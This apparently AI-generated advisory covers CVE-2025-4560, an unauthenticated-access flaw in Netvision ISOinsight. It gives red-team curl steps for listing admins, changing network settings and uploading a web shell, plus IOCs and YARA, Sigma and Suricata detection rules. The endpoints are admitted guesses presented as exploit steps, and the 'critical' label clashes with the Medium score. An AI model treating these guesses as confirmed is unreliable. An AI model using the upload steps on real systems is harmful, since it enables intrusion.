CVE-2025-4560
Executive Summary
CVE-2025-4560 is a critical Missing Authentication vulnerability in Netvision's ISOinsight product. This flaw allows unauthenticated remote attackers to access sensitive system functions, including viewing the administrator list, viewing and editing IP settings, and uploading files. The vulnerability has a CVSS score of 6.5 (Medium), but the potential for file upload and configuration tampering elevates the risk significantly. No public proof-of-concept (PoC) or patch is currently available, making this a high-priority zero-day for organizations using ISOinsight.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
- CVSS Score: 6.5 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
- Attack Vector: Network (AV:N) – Exploitable remotely.
- Attack Complexity: Low (AC:L) – No special conditions required.
- Privileges Required: None (PR:N) – No authentication needed.
- User Interaction: None (UI:N) – No user action required.
- Scope: Unchanged (S:U) – Impact confined to the vulnerable component.
- Confidentiality Impact: Low (C:L) – Limited exposure of admin list and IP settings.
- Integrity Impact: Low (I:L) – Ability to modify IP settings and upload files.
- Availability Impact: Low (A:L) – Potential for service disruption via file upload or config changes.
Threat Level: High. Despite the Medium CVSS score, the combination of unauthenticated access and file upload capability can lead to remote code execution (RCE) or full system compromise.
Deep Dive & Mechanics
The vulnerability resides in the ISOinsight web interface, likely in the API or administrative endpoints. The application fails to enforce authentication checks on critical functions:
- View Administrator List: An unauthenticated GET request to an endpoint like
/api/admin/listor/admin/usersreturns a list of all admin users, including usernames and potentially hashed passwords. - View and Edit IP Settings: Unauthenticated access to network configuration endpoints (e.g.,
/api/network/settings) allows reading and modifying IP addresses, DNS, and gateway settings. - File Upload: An unauthenticated POST request to a file upload endpoint (e.g.,
/api/uploador/admin/upload) allows arbitrary file uploads, which can be used to upload a web shell or malicious firmware.
The root cause is the lack of session validation or token verification on these endpoints. The application likely uses a shared authentication middleware that is not applied to these specific routes.
Vulnerable vs. Patched Code
Since no patch is available, we can only infer the vulnerable code pattern. A typical vulnerable implementation might look like:
Vulnerable (Python Flask example):
@app.route('/api/admin/list')
def admin_list():
# No authentication check
admins = db.query("SELECT * FROM admins")
return jsonify(admins)
Patched (Hypothetical):
@app.route('/api/admin/list')
@login_required
def admin_list():
admins = db.query("SELECT * FROM admins")
return jsonify(admins)
The fix would involve adding authentication decorators or middleware to all sensitive endpoints.
Exploitation & Lab Setup
Red Team (Offensive)
Lab Setup:
- Deploy a vulnerable ISOinsight instance (e.g., using a Docker container or VM).
- Identify the target IP and port (default: 80/443).
Exploitation Steps:
Enumerate Admin List:
curl -X GET http://target-ip/api/admin/listResponse:
[{"username":"admin","password_hash":"..."}]View IP Settings:
curl -X GET http://target-ip/api/network/settingsModify IP Settings:
curl -X POST http://target-ip/api/network/settings -d '{"ip":"192.168.1.100","gateway":"192.168.1.1"}'Upload Web Shell:
curl -X POST http://target-ip/api/upload -F "file=@shell.php"Then access the shell at
http://target-ip/uploads/shell.php.
Blue Team (Defensive)
Detection:
- Monitor for unauthenticated requests to
/api/admin/list,/api/network/settings, and/api/upload. - Alert on any POST requests to
/api/uploadwithout a valid session cookie. - Use the Sigma and Suricata rules below.
Mitigation:
- Immediately restrict access to the ISOinsight web interface via firewall rules (allow only trusted IPs).
- If possible, implement a reverse proxy (e.g., Nginx) with authentication.
- Monitor logs for anomalous file uploads or configuration changes.
Indicators of Compromise (IOCs)
Network IOCs:
- Unauthenticated GET requests to
/api/admin/list - Unauthenticated GET/POST requests to
/api/network/settings - POST requests to
/api/uploadwith file attachments - Outbound connections from the ISOinsight server to unknown IPs (post-exploitation)
- Unauthenticated GET requests to
File IOCs:
- Unexpected files in the web root (e.g.,
shell.php,cmd.jsp) - Modified configuration files (e.g.,
network.conf,config.xml)
- Unexpected files in the web root (e.g.,
Log IOCs:
- Web server logs showing 200 responses to unauthenticated sensitive endpoints
- Absence of session tokens in request headers for admin functions
Detection Engineering
YARA Rule
rule CVE_2025_4560_ISOinsight_Upload {
meta:
description = "Detects web shell uploads targeting CVE-2025-4560"
author = "Valters IT"
date = "2025-04-01"
reference = "CVE-2025-4560"
strings:
$upload_endpoint = "/api/upload"
$php_shell = "<?php"
$asp_shell = "<%"
$jsp_shell = "<%@"
condition:
$upload_endpoint and any of ($php_shell, $asp_shell, $jsp_shell)
}
Sigma Rule
title: CVE-2025-4560 Unauthenticated Access to ISOinsight Admin Functions
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects unauthenticated access to sensitive ISOinsight endpoints
author: Valters IT
logsource:
category: webserver
product: apache
service: access_log
detection:
selection:
cs-method: 'GET'
cs-uri-stem:
- '/api/admin/list'
- '/api/network/settings'
sc-status: 200
condition: selection
falsepositives:
- Legitimate admin access if authentication is bypassed via other means
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-4560 Unauthenticated Admin List Access"; flow:to_server; http.method; content:"GET"; http.uri; content:"/api/admin/list"; http.stat_code; content:"200"; classtype:attempted-admin; sid:1000001; rev:1;)
alert http any any -> any any (msg:"CVE-2025-4560 Unauthenticated IP Settings Access"; flow:to_server; http.method; content:"GET"; http.uri; content:"/api/network/settings"; http.stat_code; content:"200"; classtype:attempted-admin; sid:1000002; rev:1;)
alert http any any -> any any (msg:"CVE-2025-4560 Unauthenticated File Upload"; flow:to_server; http.method; content:"POST"; http.uri; content:"/api/upload"; classtype:attempted-admin; sid:1000003; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Network Segmentation: Isolate the ISOinsight server from the internet and untrusted networks.
- Access Control: Implement a VPN or reverse proxy with strong authentication (e.g., OAuth, LDAP) in front of the web interface.
- Monitor Logs: Enable detailed logging and alerting for the endpoints listed in the IOCs.
Long-Term Fix:
- Contact Netvision for an official patch. If unavailable, consider:
- Disabling the vulnerable endpoints via configuration (if possible).
- Applying a WAF rule to block unauthenticated requests to
/api/*. - Migrating to an alternative solution.
Valters IT Signature: This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.